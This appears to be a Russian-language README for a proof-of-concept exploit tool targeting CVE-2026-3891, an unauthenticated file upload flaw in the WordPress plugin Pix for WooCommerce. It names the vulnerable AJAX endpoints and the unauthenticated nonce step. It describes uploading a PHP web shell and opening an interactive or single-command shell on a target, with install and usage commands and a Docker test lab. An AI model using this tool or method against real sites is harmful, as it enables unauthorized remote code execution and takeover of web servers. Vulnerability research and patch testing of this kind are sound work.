Pix for WooCommerce <= 1.5.0 - Неаутентифицированная произвольная загрузка файла (CVE-2026-3891) PoC

📜 Описание

CVE-2026-3891 — это неаутентифицированная уязвимость произвольной загрузки файлов в плагине WordPress Pix for WooCommerce. Плагин предоставляет AJAX-точку (lkn_pix_for_woocommerce_c6_save_settings), которая принимает загрузку файлов сертификатов без какой-либо аутентификации. Nonce может быть получен без аутентификации через вторую открытую точку (lkn_pix_for_woocommerce_generate_nonce), что позволяет полностью неаутентифицированному атакующему загружать произвольные файлы, включая PHP-веб-шеллы, напрямую в корневой каталог веб-сервера.

Затронутые версии: payment-gateway-pix-for-woocommerce <= 1.5.0

✨ Возможности

• Неаутентифицированный — не требуются учетные данные или сессия
• Автоматическое получение nonce — получает валидный WordPress nonce без аутентификации
• Загрузка PHP веб-шелла — загружает веб-шелл по предсказуемому, веб-доступному пути
• Интерактивная оболочка — войдите в живую сессию оболочки на цели после эксплуатации
• Режим одиночной команды — выполните одну команду и выйдите с помощью --command

OSX/Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
cd CVE-2026-3891
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
cd CVE-2026-3891
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

⚙️ Использование

python3 CVE-2026-3891.py --url <TARGET_URL> [--command <CMD>] [--timeout <SECONDS>] [--useragent <UA>]

---

Интерактивная оболочка

Эксплуатируйте цель и войдите в постоянную интерактивную сессию оболочки для выполнения нескольких команд.

python3 CVE-2026-3891.py --url 'https://target.com'

---

Одиночная команда

Выполните одну команду на цели и выведите результат, полезно для скриптов или быстрых проверок.

python3 CVE-2026-3891.py --url 'https://target.com' --command whoami

Single command

🐋 Docker PoC

Автономная среда Docker Compose с уязвимым программным обеспечением для локального тестирования. Подробнее см. DOCKER.md

cd docker/
docker compose up -d
python3 CVE-2026-3891.py --url 'http://localhost:8080'

🕵🏼 Ссылки

• Pix for WooCommerce — плагин WordPress
• NVD — CVE-2026-3891
• WordFence
• HackIndex.io — CVE-2026-3891

📢 Отказ от ответственности

Этот инструмент предоставляется только для образовательных и исследовательских целей. Создатель не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.